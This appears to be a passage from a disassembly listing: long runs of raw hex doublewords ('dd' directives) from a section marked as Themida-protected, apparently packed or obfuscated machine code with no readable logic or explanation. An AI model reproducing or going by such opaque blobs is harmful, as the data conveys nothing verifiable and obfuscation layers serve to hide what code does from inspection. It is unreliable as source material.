dd 66000000h, 0E903C6B8h, 0FFFFFF58h, 4C0ACEF1h, 66E9793Bh
dd 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 5E92345h
dd 7A6F858Dh, 0D0FF05ECh, 0E358589h, 0FE8B05E9h, 680CEFC1h
dd 20060000h, 26A006Ah, 0D6857h, 95FF0001h, 5E90E35h, 32E9h
dd 0E585C600h, 5605E90Eh, 0C530DF68h, 0FDB5FFA9h, 8D05E91Eh
dd 0EC7A6F85h, 89D0FF05h, 0E9314585h, 0D858D05h, 5005E91Eh
dd 56A406Ah, 4595FF56h, 6105E931h, 0C3h, 2 dup(0)
dd 0D48B5200h, 8428B60h, 7C348589h, 428B05EEh, 2C85890Ch
dd 8B05EE7Ch, 85891042h, 5EE7C30h, 7C6AB58Dh, 858D05EEh
dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0EE7C34B5h, 2C858B05h
dd 8305EE7Ch, 0EE7C30BDh, 840F0005h, 7, 2E90689h, 88000000h
dd 0CF06h, 0
dd 8B520000h, 428B60D4h, 34858908h, 8D05EE7Ch, 0EE7CBBB5h
dd 35858D05h, 0FF005B7Eh, 8B5A61D0h, 0EE7C3485h, 4C205h
dd 7C34858Bh, 8B05EEh, 7C348589h, 0CF05EEh, 60000000h
dd 7C91B589h, 858905EEh, 5EE7C8Dh, 25D1858Dh, 408B05E9h
dd 0CA858944h, 8D05EE7Ch, 0EE7D00B5h, 35858D05h, 0FF005B7Eh
dd 858B61D0h, 5EE7C91h, 8D9D8BC3h, 0F05EE7Ch, 33C43B7h
dd 785B8BD8h, 7C8D9D03h, 738B05EEh, 8DB50324h, 5605EE7Ch
dd 8B207B8Bh, 0BD031C73h, 5EE7C8Dh, 7C8DB503h, 83FC05EEh
dd 8B41FFC9h, 0EE7C919Dh, 3178B05h, 0EE7C8D95h, 4C78305h
dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh
dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
dd 386048Bh, 0EE7C8D85h, 91858905h, 8B05EE7Ch, 8BCE8BF0h
dd 0CABD81C1h, 5EE7Ch, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 5EE7CCAh
dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 0CABD8100h
dd 5EE7Ch, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h
dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
dd 80h, 1E840Fh, 0BD810000h, 5EE7CCAh, 0C0300000h, 0E840Fh
dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 38858DCFh
dd 8905EE7Ch, 0E90EB585h, 0CE858D05h, 8905EE7Ch, 0E9078185h
dd 95858D05h, 8905EE7Ch, 0E92E0185h, 0DC8D8D05h, 8B05EE7Eh
dd 558D89C6h, 6A05E926h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0D1D3C357h, 5CC84554h
dd 0E935F56Fh, 0Ch, 8CA7C70h, 8F597D31h, 48635C1Ch, 80585C7h
dd 74B805E9h, 0FA8B0000h, 163D85C7h, 5E9h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0A33744C3h, 3B90BED2h, 0B589007Ah, 5E91855h, 10E9B5FFh
dd 858905E9h, 5E92B55h, 0BC595FFh, 6A05E9h, 1E9595FFh
dd 0C08B05E9h, 0F1277FEBh, 0ACB600B4h, 28FF18A2h, 25016518h
dd 1F263D87h, 406E003Ch, 0EAC15688h, 0ED08F60Fh, 74DBD695h
dd 0B6057ADAh, 1F8CDD9Fh, 5AED1702h, 0AA65D3AAh, 0DAB04454h
dd 873DAE4Eh, 0ADEE1945h, 17EC2813h, 0B4296227h, 0B952A6F8h
dd 5D62D3h, 70212AF9h, 0D677D216h, 2B078195h, 2890C753h
dd 0E5914DA3h, 878261h, 0EA00D883h, 6C6C81D8h, 8773FFA9h
dd 48F5786Bh, 0B0A53E5Dh, 0CD634F75h, 0AE802h, 7BB50000h
dd 575AF808h, 0C3790A1Dh, 0A9958950h, 5B05E926h, 118A0F5Fh
dd 0E8000000h, 5, 0E091CE86h, 8E0F93h, 5E000000h, 5A83C781h
dd 0BE660000h, 72B932A7h, 0F000016h, 685h, 399D8B00h, 0FF05E922h
dd 11E937h, 6D510000h, 0CD4543F3h, 3FC185C4h, 0C1FAC9D5h
dd 5AE96B26h, 0BE8h, 32622600h, 0A7419C69h, 0D8E52ADh
dd 7159D29h, 815E05E9h, 6D7CAFF2h, 0E3816663h, 0EA8137CDh
dd 2DAEB95Fh, 27C281FCh, 0F6586D1h, 1789F1B7h, 61AAFDBEh
dd 4EF8314h, 35D68166h, 850F4931h, 0FFFFFF9Fh, 14E9h, 6629F400h
dd 2229982Ah, 9C7E224h, 83D80CB2h, 147BD130h, 1D1248DCh
dd 714B4FE9h, 84AF42A5h, 9070B1F1h, 0EC340A05h, 3D71DC79h
dd 7E84C5FFh, 847982h, 4B259B30h, 3F793547h, 80896B23h
dd 3C319D31h, 3D3ABF3Fh, 0C6BF1D30h, 3D3722D9h, 0BC521130h
dd 67247FF9h, 15D16CB3h, 3234EDD9h, 3D3479B4h, 671B8330h
dd 0B3DD7229h, 5B348E33h, 0B8B994BBh, 38DA2374h, 3D34DCD9h
dd 7C3BA330h, 2BA1D9E0h, 0F42B631Dh, 0C6BF429Ch, 0B4CB3C60h
dd 0DCB56334h, 76E39874h, 0BD1254BDh, 8252EDDEh, 0B764BE38h
dd 1930B3FEh, 3D32983Fh, 0D7B58E30h, 3057BA84h, 306536CFh
dd 0BC54D4D9h, 26DDACE7h, 5C6EC13Dh, 3D5EFABBh, 3D37F563h
dd 66148E30h, 61BD1CF3h, 79B5A714h, 3D2FD514h, 6E77E830h
dd 0DF046F3h, 89E62F98h, 3D3BF51Bh, 0F7B98E30h, 4CBF358Fh
dd 2C6C156h, 593B7ECh, 93FA69A6h, 6269CF60h, 2B7987B3h
dd 483418D9h, 1C890D39h, 3D31AE21h, 6E64BA44h, 478C11BBh
dd 0B434E834h, 0D417CDB5h, 0F9A9B735h, 0C231F688h, 0BE6CD5E3h
dd 0D425668Dh, 2A40A335h, 478C8260h, 0B434E834h, 0D417CDB5h
dd 8EA9B735h, 0C231F685h, 326CD5E3h, 3D3441B9h, 0A5FA2230h
dd 57377C65h, 3EDCBA30h, 1D347430h, 0B46EF96Ah, 0BC303964h
dd 2030AA74h, 7F344730h, 14B36062h, 2B8E4517h, 14260654h
dd 3D5EB4BBh, 3D37D267h, 62141D30h, 41BDD1F3h, 79B54314h
dd 3D29A714h, 6A73D130h, 0CAFBC3F3h, 16E49BCAh, 0B7D4364Ah
dd 13A990E5h, 873160B0h, 48D84811h, 0C48AC563h, 0B8B98E40h
dd 38DAB701h, 3D34F83Fh, 0EDCB3A30h, 3D3EF550h, 13E78E30h
dd 0DE674089h, 0AF7B9D17h, 0B66F8E67h, 0FD3F89E3h, 3D4EF03Fh
dd 3D5E3A30h, 3D37F565h, 60148E30h, 51BD1AF3h, 79B5A714h
dd 3D20D514h, 6871E830h, 38DD79F3h, 5D343A30h, 2357D7C9h
dd 735913BDh, 3E8C42D9h, 5734A330h, 3EDC8230h, 1D34E830h
dd 0B46FB76Bh, 0BC301E6Ch, 28303974h, 7E348E30h, 0A5428463h
dd 0D5FC2856h, 3D34D13Bh, 8B111EB2h, 0C0531D4Fh, 0D4403381h
dd 3D341D36h, 0B81EEB63h, 0C26B3BE7h, 38BDACD3h, 8334D130h
dd 1450192Ah, 0BD02E9BDh, 3D5E3FDEh, 3D37F565h, 60148E30h
dd 51BD1AF3h, 79B5A714h, 3D2ED514h, 6871E830h, 56F864F3h
dd 69305B3Fh, 6364CDBBh, 62050BBDh, 3D5E42DEh, 3D374B66h
dd 6314D130h, 49BDB6F3h, 79B57014h, 3D203E14h, 6B721D30h
dd 8A3BD0F3h, 3EBA48E7h, 5B34A330h, 0EDCB22BBh, 0D567E85Ah
dd 3D347433h, 66F76110h, 391041B9h, 3910CAB1h, 3D344725h
dd 0A4F7F073h, 3D243824h, 69BAE830h, 0EB6AFC68h, 0AA7EC9AEh
dd 0A30A782h, 0EF86E5D3h, 0B93B873Bh, 3D34A34Eh, 0D567D15Ah
dd 3D34E833h, 66F72F10h, 391066B9h, 391059B1h, 3D348E29h
dd 0CEF71473h, 2A95FA87h, 5BC55AB2h, 0B05A8189h, 0D47A19ADh
dd 6A345035h, 3D341ED8h, 0FE6BAE30h, 1948CE6Fh, 19702234h
dd 3D34CA34h, 0FE63AF30h, 0C95070C1h, 38B879DCh, 3C8CE6BBh
dd 57348E30h, 3EDC1130h, 1D34A330h, 0B46A126Eh, 0BC30CC44h
dd 28305074h, 7B343A30h, 5D3DDE66h, 0C2CC393Fh, 0D3B521D3h
dd 0A0B93D9Ch, 38DA510Bh, 0CB165C9h, 57319A6Fh, 3EDC6C30h
dd 1D341D30h, 0B46A4D6Eh, 0BC306344h, 2A308774h, 7B34D130h
dd 501D2B66h, 8A3B0C0Bh, 5DE4C5FBh, 34DDD3BBh, 1A348E30h
dd 0EC2FF859h, 70C259FCh, 32F4DA51h, 3D34D4B4h, 3DB97B30h
dd 0B0343A30h, 0D47A70ADh, 0DFED0F35h, 856272A1h, 3D34A333h
dd 3D31523Fh, 7E8DE830h, 0C20AFF4Ch, 3D27D3D3h, 3791D30h
dd 72F68625h, 72B4FD46h, 36796E74h, 2F894085h, 36DDAB26h
dd 79347430h, 3C4993BAh, 379633Dh, 0D4548625h, 3D34473Bh
dd 73010BE0h, 0F986E067h, 5D2BB280h, 67642F60h, 80B95B51h
dd 38DA9D14h, 0B96503BDh, 408C42DEh, 0EBEE86Ch, 0D4191CB5h
dd 0FCFBC335h, 2E9BDD9h, 5E3FDEBDh, 37F5653Dh, 148E303Dh
dd 0BD1AF360h, 0B5A71451h, 0E9831479h, 8BA4F305h, 10E9C0h
dd 0F4BD0000h, 6320FBC7h, 0F5A719ACh, 628587FDh, 880F964Fh
dd 0
dd 0B6C38BF9h, 0B9C08B66h, 11B3208Dh, 164DBD83h, 750005E9h
dd 21BD8309h, 5E911h, 53501974h, 7AB8C08Bh, 89000004h
dd 0E905AD85h, 2B9D8D05h, 0FF05EBB9h, 83585BD3h, 0E91121BDh
dd 17740005h, 7AB85350h, 89000004h, 0E905AD85h, 0CC9D8D05h
dd 0FF05EBB5h, 0F585BD3h, 0B86h, 5830F00h, 0BE000000h
dd 4D2A681Fh, 78A1EA81h, 0E9604188h, 0Bh, 18135DC7h, 3CA96B66h
dd 0E9ECBCEAh, 8, 0C84F5493h, 0C1438F46h, 0E9C08B61h, 13Ch
dd 4Fh dup(0)
dd 2FB1BD83h, 0F0105E9h, 53B84h, 8B666000h, 6184B2F8h
dd 0EE585C6h, 604305E9h, 0E9D78B66h, 7, 41841A64h, 61479BFFh
dd 154D9568h, 0E9525093h, 0Bh, 856F6C4Ah, 0A8C5525Ah, 0F764AD0h
dd 0BB666031h, 90BB0D6Fh, 614CBAB6h, 3481585Ah, 0B09D6024h
dd 56006A7Fh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 0A4A6A2FAh, 0B27B07D1h, 1870F16h, 0F8000000h
dd 28A0F60h, 56000000h, 92F5805Bh, 0FDB5FF61h, 0F05E91Eh
dd 887h, 2890F00h, 60000000h, 6F858D61h, 0F05EC7Ah, 0B83h
dd 6E900h, 859D0000h, 6D96080h, 6AD0FFF5h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B7C7C350h
dd 8B66609Dh, 61FD8ADFh, 858589F9h, 0E905E901h, 0Dh, 11463201h
dd 7483FFEh, 0F733F638h, 0E585C67Eh, 5005E90Eh, 0D73168F8h
dd 5250F707h, 5E9h, 3F826900h, 310FF5ACh, 9E860h, 0F31E0000h
dd 0E344A5CAh, 5FA95526h, 5A616160h, 24348158h, 5FAA7A67h
dd 1890Fh, 0FFF50000h, 0E91EFDB5h, 11E905h, 0DE7E0000h
dd 6BB26E82h, 0AFE01D05h, 261C9981h, 8D3E3598h, 0EC7A6F85h
dd 0D0FFF505h, 1820F60h, 0F5000000h, 858961F5h, 5E91011h
dd 0EE9h, 0DEF90C00h, 2C5C17EBh, 0E3E85691h, 6829C2AAh
dd 0B92BD81Ch, 13800Fh, 0EE90000h, 17000000h, 9583EB0Ah
dd 0B968050Ch, 6C55BBE9h, 240481E0h, 3763D013h, 0BE6660FCh
dd 9E923BCh, 35000000h, 5D2D5232h, 4763E9B1h, 0FDB5FF61h
dd 6A05E91Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 80CCC351h, 1732B8A1h, 8DFC4A1Dh
dd 0EC7A6F85h, 0DE905h, 6A3E0000h, 14371F27h, 0CD82FB8h
dd 0FF240CFEh, 14860FD0h, 60000000h, 0AE8C18Bh, 47000000h
dd 85039A94h, 0EED2396h, 89615A20h, 0E90E7585h, 0C840F05h
dd 0F000000h, 68Ah, 8E0F00h, 0C6000000h, 0E90EE585h, 6A5005h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 301B00C3h, 0F58E1B9h, 1786h, 12E900h, 53B70000h, 0AA5F7CD3h
dd 7E824E26h, 9D141AD4h, 0C571088Ah, 11E9h, 2ADD700h, 0BF4F810Dh
dd 26155461h, 7D13D067h, 21689D73h, 0E94D0B1Ch, 0Fh, 0E43609B3h
dd 0A2F3F6F8h, 7FE2ECA5h, 81534FE5h, 0C0352404h, 5E94A91h
dd 59000000h, 0F2B25FD4h, 2345B5FFh, 14E905E9h, 1C000000h
dd 10A8054Ch, 0F51CB6B0h, 6CF2B1E4h, 0ED8028B7h, 8D92C2DDh
dd 0E939CF85h, 7860F05h, 0F000000h, 181h, 0D0FFF800h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0EFC35040h, 6103D6CDh
dd 894FF1B0h, 0E90CA185h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0AAF12583h
dd 5840F60h, 66000000h, 171CCE81h, 0DE9h, 47BCF300h, 0F48AF105h
dd 297F76BAh, 0E96105CFh, 1F0h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 2AC35040h, 6095FC45h, 0EE9h
dd 0F2861C00h, 35E0235Bh, 83FE8D16h, 6637B9FEh, 612899B8h
dd 60525050h, 4A5B866h, 0DE9h, 33CC5800h, 0AA07CA65h, 0ECF4C7Eh
dd 0F6153F2h, 2860F31h, 60000000h, 95585A61h, 12E9h, 7842C900h
dd 0F42C9142h, 1AEA0A34h, 0AEB1084Ah, 60E747BEh, 0EE9DA8Bh
dd 0D7000000h, 0ED2FB300h, 0F22C6762h, 5F32F99h, 0EC8B61D5h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0FC35343h
dd 0FC695236h, 5E9h, 784DE800h, 820FADF7h, 1Bh, 8E0F60h
dd 0E9000000h, 0Eh, 0D9F02847h, 242FB436h, 3D9DD999h, 836147F4h
dd 0F60FCC4h, 6061FBB7h, 10E9h, 29052F00h, 0B1EE9535h
dd 61C56554h, 0C8EF22E2h, 1880F66h, 0FC000000h, 0E8h, 0EA815A00h
dd 5EE8AB8h, 0FC45C7h, 83000000h, 0E92FB1BAh, 840F0105h
dd 98h, 6A006A52h, 8592FF0Fh, 5A05E901h, 851F8289h, 9A8D05EEh
dd 5EE8523h, 2803C752h, 53000001h, 1192FF50h, 5A05E910h
dd 239A8D52h, 5305EE85h, 851FB2FFh, 92FF05EEh, 5E90CA1h
dd 74C00B5Ah, 239A8D50h, 8D05EE85h, 0C933247Bh, 104F981h
dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h, 0C752B39h
dd 1FB1BA8Dh, 4D8B05E9h, 32A4F30Ch, 0FF52AAC0h, 828D0875h
dd 5E91FB1h, 7592FF50h, 5A05E90Eh, 0A075C00Bh, 1FC45C7h
dd 0EB000000h, 0FC45C707h, 0
dd 0FC458B61h, 8C2C9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 4BC35343h, 0E9F911A1h, 0Ch, 0E26888E2h
dword_596D68 dd 44890FA3h, 8E57E5D7h, 8D8DD28Bh, 5EE8C4Bh, 0FA1B58Bh
; DATA XREF: Themida_:005556EFo
dd 8D8905E9h, 5E92655h, 2840Fh, 0F28B0000h, 80585C7h, 72C805E9h
dd 85C70000h, 5E9163Dh, 0
dd 2EF59529h, 0B5FF05E9h, 5E910E9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0C9C35040h, 9DBD89E2h, 0FF05E92Fh
dd 0E90BC595h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 58C0FCADh, 87EE53A4h
dd 12E9283Ch, 42000000h, 7AC04ED4h, 4949B5D3h, 1D8EE255h
dd 5947D07Bh, 0FF006A51h, 0E91E9595h, 0EBC08B05h, 0BF21D37Fh
dd 0A660983h, 6B725F94h, 0A2EC6545h, 0F427C9D8h, 0C87F4F41h
dd 59DD9A16h, 0EF5E332Fh, 0C6F109F4h, 3984D245h, 94E918DCh
dd 44DC25B4h, 35F156F8h, 0E1E08F6Dh, 7FD9DB81h, 44D4D012h
dd 59C32830h, 5095EF25h, 7789906Eh, 932ECDB7h, 4F5CA8F1h
dd 0A2D59E60h, 129A1DE7h, 0A9D6033Dh, 0A9942C31h, 0E4570B97h
dd 365620Bh, 67216B7Eh, 0C6EBDFA5h, 862FA62Fh, 0BBD581D3h
dd 751C3671h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0D1F9E9C3h, 5069C902h, 9E9h, 6925EB00h
dd 43A7078Dh, 835B4C19h, 0E9164DBDh, 9750005h, 1121BD83h
dd 740005E9h, 8B535019h, 3FCB8C0h, 85890000h, 5E923B9h
dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h
dd 3FCB853h, 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh
dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 7ED5C2C3h, 2C925A45h, 8166C56Fh, 0F334DF3h
dd 0C08BD6B7h, 0F61DB80h, 0C86h, 68E0F00h, 81000000h, 0ECDD53F3h
dd 0BDBD8328h, 105E901h, 54840Fh, 9E90000h, 19000000h
dd 24233FDFh, 0E2B9E30Dh, 28E5BD83h, 0F0005E9h, 3985h
dd 8B665000h, 0BD835BDFh, 5E91EDDh, 0AC840F00h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0F697C355h, 6ACBCEE0h, 0C983BB22h, 66E93235h
dd 6A000003h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 9266C356h, 0F93BCC40h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EC35242h
dd 33C10E4h, 0F7DC0C7h, 384h, 30F28000h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 17h, 0CCC35141h, 0FACA12Ch
dd 587h, 0F2816600h, 23BB0A9Ah, 262D5729h, 3B427EC9h, 0EACA2879h
dd 4C84C07Ch, 2A687724h, 71D7773h, 0E0EF45F1h, 0DCAAC590h
dd 54164BA3h, 3C9696ACh, 0EACCC4AEh, 0E21E411Ah, 0BAC528B5h
dd 2709C07Ch, 0FC9A6B9Ah, 0BE9859B5h, 0ABCCC07Ah, 57CC4019h
dd 0BF96664Ch, 75CCC094h, 574D9D7Ch, 58224EB8h, 4699C016h
dd 57CCC07Fh, 0F60F9D5Ch, 0D1E8ACF5h, 0EEE884FDh, 75CCC066h
dd 310F9539h, 2D54BBD9h, 0AEA612DBh, 57CF282Ah, 0F5ECC07Ch
dd 0A1459EBFh, 0AE4DC458h, 75D6C458h, 0EC8AC07Ch, 0B2EDE3BFh
dd 622D256Dh, 57CCC694h, 0B284917Ch, 54114177h, 99D125A6h
dd 0B5479B65h, 0B53036FCh, 5DCCC4F8h, 5647A07Ch, 8647901Dh
dd 0CDE8C4F5h, 0D4C316F7h, 8C32E430h, 1D7B23FDh, 0EBCCAA24h
dd 5DCCC394h, 6D95E07Ch, 73804925h, 8F884178h, 0D5CCD578h
dd 299D817Ch, 0A97B8721h, 0BACECC79h, 71BA7A7Ch, 0A647A37Eh
dd 0DCAA1AF7h, 13303C34h, 0D5CCC07Dh, 29DC016h, 75CCC07Fh
dd 0E30F995Ch, 59E88CF5h, 0AAE884FDh, 57CCC069h, 0BC0F913Dh
dd 0D5CB2952h, 0C9FFC07Ch, 0B6D6BD04h, 0BADC282Fh, 6FF1C07Ch
dd 0CA99C316h, 4C73A95Bh, 5D360CADh, 6AC38631h, 5D9C9BA2h
dd 51C04947h, 19A17F7h, 6B2E9973h, 7740A626h, 0BF9EC016h
dd 0ABCCC07Fh, 8F0F9A5Ch, 0EEE894F5h, 71E884FDh, 0BACCC067h
dd 940F923Eh, 3785A5ACh, 0BE16DFA8h, 0ABCCC077h, 0C1C91055h
dd 7EC8E10Ah, 83D8C4DDh, 3FC3C4BDh, 5DCCC08Ch, 469BC016h
dd 57CCC07Fh, 0F40F9F5Ch, 0D1E8BCF5h, 0EEE884FDh, 75CCC064h
dd 160F973Bh, 83BFE8BCh, 0FFCCAA25h, 57CCC394h, 6895E07Ch
dd 0F1804925h, 0CE884178h, 75CCDD78h, 799D817Ch, 5EA7F061h
dd 24C4AD58h, 589D3AC9h, 2B9612C3h, 50C3A845h, 0EACCC087h
dd 0A02F411Ah, 0BAC7295Fh, 1F60C07Ch, 0E92C45C1h, 894BF0D5h
dd 0AAB54B55h, 3D9CC016h, 0EACCC07Fh, 2D0F985Ch, 0BEE884F5h
dd 59E884FDh, 0AECCC060h, 4D0F903Ch, 0A0705778h, 5541B86h
dd 0EACC3FFDh, 0F7C3407Ch, 0BACCC0CFh, 0DCAA16F7h, 69DEB98Eh
dd 0B942D7F9h, 0ABCCC179h, 0D943CF7Ch, 0E5CCC07Ch, 75CCC6F3h
dd 0BA44CF7Ch, 0B4CCC07Ch, 0AECCC0F1h, 0BF9AC016h, 0ABCCC07Fh
dd 8B0F9E5Ch, 0EEE8B4F5h, 71E884FDh, 0BACCC061h, 5A0F963Ah
dd 0A43761A9h, 5D11E56Bh, 420D7645h, 0D5CCC023h, 0BFCCAA25h
dd 75CCC394h, 7991E07Ch, 79A04921h, 8A884178h, 57CCDC78h
dd 6899857Ch, 0E51A282Fh, 45BBB1D6h, 0AC47A642h, 39AA18F6h
dd 5233CB05h, 0AECCEAF8h, 5CCAA7Ch, 0ABCCC394h, 1696E07Ch
dd 0CE984926h, 51884178h, 0BACCD478h, 9E9E827Ch, 0B9490751h
dd 56C92EF2h, 0CDCCC07Ch, 9D7189C7h, 81DF7980h, 0F04196D3h
dd 0BF2253BCh, 0CCB47DF1h, 56F7C592h, 58FCC708h, 408B09ADh
dd 22234089h, 29DC016h, 75CCC07Fh, 0E30F995Ch, 59E88CF5h
dd 0AAE884FDh, 57CCC068h, 140F913Dh, 98C92BFDh, 0B87AD1A6h
dd 74717DFFh, 0B5CDC595h, 5DCC68F8h, 0FFCCAA7Ch, 57CCC394h
dd 6895E07Ch, 0F1804925h, 0CE884178h, 75CCD978h, 799D817Ch
dd 0BA5E97A5h, 0BE25ED31h, 80CCC07Ch, 67410C4Eh, 31A63D2Ah
dd 0B112E980h, 7A7ECEF3h, 0BACCCBF3h, 5DCA297Ch, 1601C07Ch
dd 4B99C32h, 83297DFFh, 0DACCC595h, 0EACC94F9h, 26CCAA7Ch
dd 0BACCC394h, 9E97E07Ch, 8A904927h, 73884178h, 0ABCCD478h
dd 169F837Ch, 0E941CF80h, 13CCC07Ch, 74F13F7h, 5825DEA1h
dd 0C848CF7Ch, 3DCCC07Ch, 0A824907Ch, 0F5CCC07Ch, 63940324h
dd 0F4C8E438h, 0ADC8E438h, 1DCCC07Ch, 8923032Ch, 804C7336h
dd 0AAD42988h, 0D5A6C07Ch, 0EACF282Eh, 2FECC07Ch, 0EE459ABFh
dd 194DC458h, 0AED4C458h, 58EC07Ch, 0C78606BFh, 0DB244513h
dd 0E8CCC07Ch, 0C17E811Dh, 8CFABB37h, 59596B47h, 0AB47CFC4h
dd 0ECCCC07Ch, 0EB1F3B6Dh, 68714326h, 0EBC9297Dh, 75454573h
dd 0BAA6C07Ch, 5DCF2829h, 0F3ECC07Ch, 3B459DBFh, 0EF4DC458h
dd 0D5D6C458h, 0BF89C07Ch, 4E23ABBFh, 0F563E8Eh, 3048781Ch
dd 2FAA8533h, 3692F89Ah, 6706411Ah, 0A7BCF56h, 0B9CCAA21h
dd 75CCC394h, 7997E07Ch, 79904927h, 8A884178h, 57CCD878h
dd 689F837Ch, 0EF10936Eh, 0C93E412Ch, 0F595D5A7h, 310F4CBEh
dd 5DA829ABh, 0AEA6C07Ch, 57CF282Bh, 0F4ECC07Ch, 0A9459FBFh
dd 0AE4DC458h, 75DAC458h, 0ED8BC07Ch, 0ED6465BFh, 0F31B4B1Ah
dd 0BF9AC016h, 0ABCCC07Fh, 8B0F9E5Ch, 0EEE8B4F5h, 71E884FDh
dd 0BACCC069h, 7B0F963Ah, 7C7BCF2Bh, 0CCAAB3h, 0ABCCC394h
dd 1693E07Ch, 0CEB04923h, 51884178h, 0BACCD678h, 9E9B877Ch
dd 0A1DC0F72h, 0EA4119C3h, 0AE224E0Ah, 46414DF1h, 0F774C592h
dd 46B7FA20h, 53DED1F9h, 7903EB79h, 96D381DFh, 53BCF041h
dd 7DF1BF22h, 0C592CCB4h, 0C70856F7h, 9AD58FCh, 0E983408Bh
dd 83A4F305h, 0EE8E17BDh, 0D740005h, 4E6D8D8Dh, 1B805E9h
dd 0FF000000h, 41B640E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 19C35545h, 0DDA422A9h, 0BA66B3F3h, 0F522A92h
dd 280h, 5AD2B600h, 0F2DE883h, 589h, 0CA816600h, 0DF8B45F7h
dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 709718C3h, 66DAB70Fh, 0BD83D88Bh, 5E9164Dh
dd 83097500h, 0E91121BDh, 19740005h, 0C08B5350h, 3FCB8h
dd 0AD858900h, 8D05E905h, 0EBB92B9Dh, 5BD3FF05h, 21BD8358h
dd 5E911h, 53501774h, 3FCB8h, 0AD858900h, 8D05E905h, 0EBB5CC9Dh
dd 5BD3FF05h, 81DC8A58h, 4334FCF3h, 88CF803Ch, 2DEBC08Bh
dd 0
dd 0BFAE0DD0h, 0DFF2319Ch, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh
dd 0E5ADF99Ch, 9D89937Eh, 26816800h, 0B2BD1467h, 0C18F2E03h
dd 0B01E974h, 0A2680000h, 0E905EE95h, 0FFFAEB37h, 0EE972968h
dd 0EB2DE905h, 6468FFFAh, 0E905EE98h, 0FFFAEB23h, 0EE991568h
dd 0EB19E905h, 0D768FFFAh, 0E905EE99h, 0FFFAEB0Fh, 0EE9AC568h
dd 0EB05E905h, 7668FFFAh, 0E905EE9Bh, 0FFFAEAFBh, 0EE9D3C68h
dd 0EAF1E905h, 4568FFFAh, 0E905EE9Eh, 0FFFAEAE7h, 2F4C73B3h
dd 0C1DE0D49h, 526F9EDBh, 0E1FE316Ch, 7592BDFBh, 0B497171h
dd 9CDDC3E0h, 33725875h, 0CB05EB08h, 0CDAE7B98h, 278F5F1Fh
dd 28065F13h, 4A7176Fh, 32A6F056h, 25C83E1Ch, 0B1DF0E4Bh
dd 0FC1D4AE7h, 89B7E622h, 23C22BFh, 3E6C97D5h, 0FF51274h
dd 5D74A2D5h, 44F29505h, 19DC3285h, 0B689480Dh, 896FEB64h
dd 70AA8427h, 0A8D60943h, 795F7CDEh, 8F690C3Fh, 0CF872453h
dd 4DF060B8h, 32D5129Fh, 6D9E141Ch, 698B9FD4h, 7B4703FBh
dd 20000009h, 0B69CB9E0h, 482E4B7Ah, 0D9BFDC0Bh, 684E6B9Eh
dd 0DEE2FF2Ah, 4570AE04h, 0DA014228h, 6D98D7BDh, 0FD306A50h
dd 843213E0h, 13278FC2h, 0C29573CCh, 63275588h, 0ACD9F629h
dd 0C6893D2h, 0CA03A0CFh, 5313C172h, 5B16C91Ah, 1B7DB0EBh
dd 0EF6816B9h, 241C3223h, 2E671FF5h, 0DAAFEF2h, 80C6742Bh
dd 0E132020h, 0B9933698h, 0B4F55178h, 0A038F08Dh, 132020A2h
dd 4977A2E0h, 0EA184B85h, 4F8EE0D1h, 50CC65AEh, 9B029CD9h
dd 8E27BFAh, 0A872A0C7h, 7D642C0Bh, 3E7C4526h, 43000000h
dd 0CDFB2E69h, 7B386603h, 0FD3966A1h, 743E6CCEh, 0D6469ED7h
dd 299C8533h, 33EA1C32h, 200BC185h, 0F557CD13h, 0B132FC7h
dd 0C3641320h, 0C657F9B2h, 0FE494526h, 10000000h, 2ECBFA36h
dd 0D64C7B00h, 0D11437EAh, 397359F6h, 0ACCDD806h, 0C948B8FEh
dd 33D04616h, 0F5A30F4Dh, 16C948B1h, 3765C73Dh, 0D8063973h
dd 86B9F3CDh, 3DEB8E58h, 16C94879h, 8C720F85h, 48021F52h
